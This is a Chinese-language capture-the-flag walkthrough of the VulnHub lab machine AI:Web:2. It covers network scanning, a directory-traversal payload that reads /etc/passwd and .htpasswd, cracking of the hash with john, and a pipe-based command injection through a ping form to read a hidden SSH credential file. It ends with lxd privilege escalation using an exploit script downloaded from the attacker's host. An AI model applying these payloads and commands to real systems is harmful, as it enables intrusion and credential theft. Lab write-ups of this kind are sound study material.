vulnhub靶场渗透系列-- AI:Web:2
AI:Web:2
文章目录
- AI:Web:2
- 靶机地址
- Description
- 工具、知识点和漏洞
- 一、信息收集
- 二、目录穿越获取后台账户密码
- 命令执行漏洞
- 三、提权
- 四、获取flag
靶机地址
https://www.vulnhub.com/entry/ai-web-2,357/
Description
这是系列AI: Web的第二个盒子,你将有更多的乐趣来破解这个挑战。目标很简单。从/root/flag.txt获取标志。枚举该框,获取低特权shell,然后将特权提升到root。你可能需要破解密码。使用丹尼尔·米斯勒先生的word list sec lists/rock you-45.txt。
工具、知识点和漏洞
netdiscover
nmap
dirsearch
searchsploit
john
目录穿越(Directory Traversal)漏洞
远程命令执行(RCE)漏洞
Ubuntu 18.04 - ‘lxd’ Privilege Escalation
一、信息收集
我们开始渗透的第一步了,开始靶机之后,我们首先进行的是进行信息收集,我们拿到一个靶机,并不知道他的账号和密码,也无法登录进去,我们只能扫他的ip地址,进行下一步的渗透。
我们扫描同一网段有哪些主机存活,也可以用nmap去扫同一网段下有哪些主机
arp-scan -l
我们发现除了本机的1,2,254和kali的128网段外,还有一个主机存活,就是149了,所以靶机的ip地址就是192.168.231.149了。
nmap -sS -sV 192.168.231.0/24 (扫网段)
nmap -sS -sV 192.168.231.149 -p- 1-6000 (全端口扫描)
通过扫描,发现存在了80和22端口开放
我们看一下80端口的服务
http://192.168.231.149:80
我们需要注册,才能登录进去,这里我注册了一个admin账号,进去了
进去之后,什么也没有,只有一个提示,Welcome to XuezhuLi FileSharing(欢迎来到李雪主文件共享)
二、目录穿越获取后台账户密码
这应该是一个历史漏洞,我们去漏洞平台去查看一下
https://www.exploit-db.com/,搜索提示内容,XuezhuLi FileSharing
我们点击第二个看一下
大概可以看到,应该是一个目录遍历漏洞。
我们可以构造payload,我们先扫一下,当前网站有哪些目录吧,这里用dirsearch来扫目录
发现还不少目录嘛,在这里我们看到download.php是可以执行的
395a1.png)
很意外,里面什么也没有,我们看到之前的构造有download.php,会不会是包含文件了呢,我们试一下
我们构造一下语句
http://192.168.231.149/download.php?file_name=…/…/…/…/…/…/…/…/…/etc/passwd
发现爆出了用户的信息
有两个用户存在
我们在包含一下apache2的认证文件,查一下
http://192.168.0.108/download.php?file_name=…/…/…/…/…/…/…/…/…/…/…/…/…/etc/apache2/.htpasswd
打开里面内容是账号和密码:
aiweb2admin:
a
p
r
1
apr1
apr1VXqmVvDD$otU1gx4nwCgsAOA7Wi.aU/
这是我们可以用john进行爆破获取密码
我们先创建一个文件1.txt,用于存放这个密码
vi 1.txt
cat 1.txt
我们采用john的字典模块,进行爆破,其中的,list.txt字典是前面提示中提供的word list sec lists/rockyou-45.txt这个字典。
john --wordlist=/home/zhian/list.txt 1.txt
john --show 1.txt
aiweb2admin:c.ronaldo
我们就得到账号aiweb2admin,密码:c.ronaldo
这个用户是ssh登录密码还是后台登录密码呢,我们都试一下,先试试是不是ssh的登录密码
访问被拒绝了,所以应该不是ssh的登录账号和密码,可能是后台的,我们看一下有什么后台目录
发现有webadmin网站目录
先登入一下后台,发现它给的提示的网络爬虫协议 访问一下http://192.168.0.105/webadmin/robots.txt
发现了两个路径分别是 /H05Tpin9555/ 和 /S0mextras/ 依次进行访问
http://192.168.231.149/webadmin/robots.txt
User-agent: *
Disallow:
Disallow: /H05Tpin9555/
Disallow: /S0mextras/
这里访问第一个路径 /H05Tpin9555 存在一个ping的对话框 怀疑是命令执行漏洞 第二个路径/S0mextras/下没有发现什么新东西。
http://192.18.33.135/webadmin/HOSTpin9555/
http://192.168.33.135/webadmin/S0mextras/
命令执行漏洞
尝试了&、&&、;、|四种绕过执行单一命令的限制,发现|可以绕过,也可以用burp抓包试一下
127.0.0.1|ls 绕过成功(-la无法识别)
执行127.0.0.1|ls -al /var/www/html/webadmin/S0mextras/,但是并没什么用
然后查看有哪些文件,发现只存在一个index.html文件,怀疑存在隐藏文件
隐藏文件一般都是"."开头的,可以使用find命令:127.0.0.1|find . -type f /var/www/html/webadmin/S0mextras/
使用命令:127.0.0.1|find …/S0mextras/ . -type f 2>/dev/null 发现了个隐藏文件 可能是ssh 账号的密码文档 进行访问查看
找到了许多的隐藏界面,我们分别一一进行访问查看
127.0.0.1|cat /var/www/html/webadmin/S0mextras/.sshUserCred55512.txt
http://192.168.231.149/S0mextras/.sshUserCred55512.txt
ssh登录
User: n0nr00tuser
Cred: zxowieoi4sdsadpEClDws1sf
账号:n0nr00tuser 密码:zxowieoi4sdsadpEClDws1sf使用ssh登入 发现登入成功!!!
三、提权
登入成功先看一下权限 使用命令:id ,uname -a cat /etc/os-release发现权限很低,先sudo -l 看一下 还是没有权限
使用python提升至交互式shell,方便我们观看和后续操作
python -c ‘import pty;pty.spawn("/bin/bash")’
使用命令:find / -perm -u=s -type f 2>/dev/null 查看二进制文件
使用命令searchsploit linux 18.04 搜一下相关版本看看系统有啥漏洞可以利用
wget http://192.168.231.129/46978.sh
查看利用.sh文件 第一步需要下载build-alpine ,第二步运行里面的build alpine然后给靶机运行就可以得到root
https://github.com/saghul/lxd-alpine-builder/
现在好了拖到kali里面 然后解压 运行./build-alpine 会下载一个apk的文件
然后ls一下会发现多了一个命名规则是年份日期的,然后把这个传到靶机中。
wget http://192.168.231.129/alpine-v3.16-x86_64-20221001_1723.tar.gz
chmod +x 46978.sh
chmod 777 alpine-v3.16-x86_64-20221001_1723.tar.gz
./46978.sh -f alpine-v3.16-x86_64-20221001_1723.tar.gz
将这个压缩文件与之前的脚本46978.sh放于靶机的同目录下
从图中可以看到第一次运行46978.sh的时候出错了,解决办法参考这篇文章
解决方法很简单,就是vi 46978.sh,进入后,修改第一行的bash为unix后,保存退出后,再修改为bash,退出后,就可以执行脚本了。
四、获取flag
使用命令:find / –name flag*